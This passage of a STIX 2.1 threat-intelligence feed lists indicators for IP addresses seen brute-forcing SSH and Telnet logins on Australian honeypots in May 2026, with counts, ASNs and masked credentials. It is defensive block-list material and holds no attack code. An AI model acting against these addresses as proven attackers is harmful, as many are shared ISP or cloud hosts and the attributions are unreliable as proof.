      "modified": "2026-05-18T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.28.159.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T12:15:10.000Z",
      "valid_until": "2026-06-19T12:15:08.000Z"
    },
    {
      "created": "2026-05-18T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--39cc783d-484f-4d78-8091-808e172c6ec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.54.49.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T12:15:10.000Z",
      "valid_until": "2026-06-19T12:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139456. Organisation(s): PT DEWAWEB.",
      "id": "indicator--dd9d6a5a-2f5d-4aa1-8d68-3c0b059cdc61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.185.53.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****q, 3***********4, 3**********4, O**o, W********3.",
      "id": "indicator--8fc1b0fb-7c31-4d18-aa59-dc9985fd7108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4b95aead-3a64-4090-9673-50cade192752",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 3***********4, r**t, 9*******1, A*******c.",
      "id": "indicator--fff643e6-5e9a-4cb6-ac45-321fdf6c1ae6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.177.240.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******e, 1**5, 2******c.",
      "id": "indicator--a2f4a08f-50d6-4e3d-9304-7293a46cd24c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.224.213.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--c3e4f2e3-c1b3-45aa-bc73-41a1173f2da0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.83.15.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 54801. Organisation(s): Zillion Network Inc.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ce26a042-9cfc-4b0b-b73c-b70bed77d9ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.245.207.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 200651. Organisation(s): FlokiNET ehf. Usernames observed (masked): ***. Passwords observed (masked): I*************************t.",
      "id": "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.246.188.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**5, 2******c, 9*******1.",
      "id": "indicator--028c8b86-66c2-49d2-8c75-2bfb563b0821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.142.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******8, 1**0, 3***********4, 3**********4, A*******8.",
      "id": "indicator--59458c1d-cfd2-4f69-b52f-d62bdd008b0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.97.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--b17a2f72-1dd4-400a-9468-189333a469db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.36.202.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ca32725a-42c1-4a52-9f44-94784461e47a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, -**************-, 1**9, a****a.",
      "id": "indicator--78696163-3ff6-4f3c-9c62-4a7d6dab34bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.191.96.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:15:12.000Z",
      "valid_until": "2026-06-19T13:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--88110d76-d2fa-473c-be9c-3b15d1434aed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '100.2.253.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--f616df4e-f097-4309-9d8d-1d00e10d79d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.2.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264337. Organisation(s): NET COM INFORMATICA LTDA - ME.",
      "id": "indicator--de4f0da4-f03d-49b6-8dad-4a030205adb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.122.149.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***********9, C*********3, E******r.",
      "id": "indicator--57d38130-ccf3-4a8a-b401-1a7ea1c1c47e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.165.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--fac7de62-a28c-4f49-be66-015409f7cfa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--f0f46f4f-b9a1-47f3-be4c-cfb145d40a55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.22.253.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--7f4d977f-2d1f-419d-b505-942a6d0ea305",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.124.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**@, 1*******!, 1****s, 3***********4, 3**********4.",
      "id": "indicator--da8db2c2-57a8-457f-a587-7d050de63bb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.233.87.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***********9, C*********3, E******r.",
      "id": "indicator--6bf3d62a-6be8-43f9-83aa-a816b848a5c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.22.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--5ae71cd4-b84a-45db-a3c3-018d0ded72d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.196.74.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2368f111-c161-4b8c-8ab6-503f5b03ccbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***********9, C*********3, E******r.",
      "id": "indicator--afc5a7bd-8304-495e-b880-aa57c0a61cb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.240.193.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T14:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--7fd13dd3-6fc8-4299-959b-9b2521b66bc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T14:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:15:39.000Z",
      "valid_until": "2026-06-19T14:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bb7a9f6b-b6d6-4872-8ed8-b4b2981dd1a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.248.158.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--9e8b1803-3313-4e11-90a5-6153d5546bd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.41.162.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--c52566e5-8379-48bb-b3ae-a502468b33fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.69.239.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--62327d9e-34f9-43ec-aea6-aba45a7eeb79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.152.122.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--8b9ca2f1-23c5-4a2a-8678-a2fc18dbd232",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.83.185.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A..",
      "id": "indicator--da2d5dc6-814b-4fe9-a47c-340cda737690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.105.158.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): m*****#.",
      "id": "indicator--bcbbb962-dbd4-4f6c-a0e8-98a93c05035c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:15:13.000Z",
      "valid_until": "2026-06-19T15:15:08.000Z"
    },
    {
      "created": "2026-05-18T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--9e750985-a2e5-4b72-bb57-5502a039b4d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:15:13.000Z",
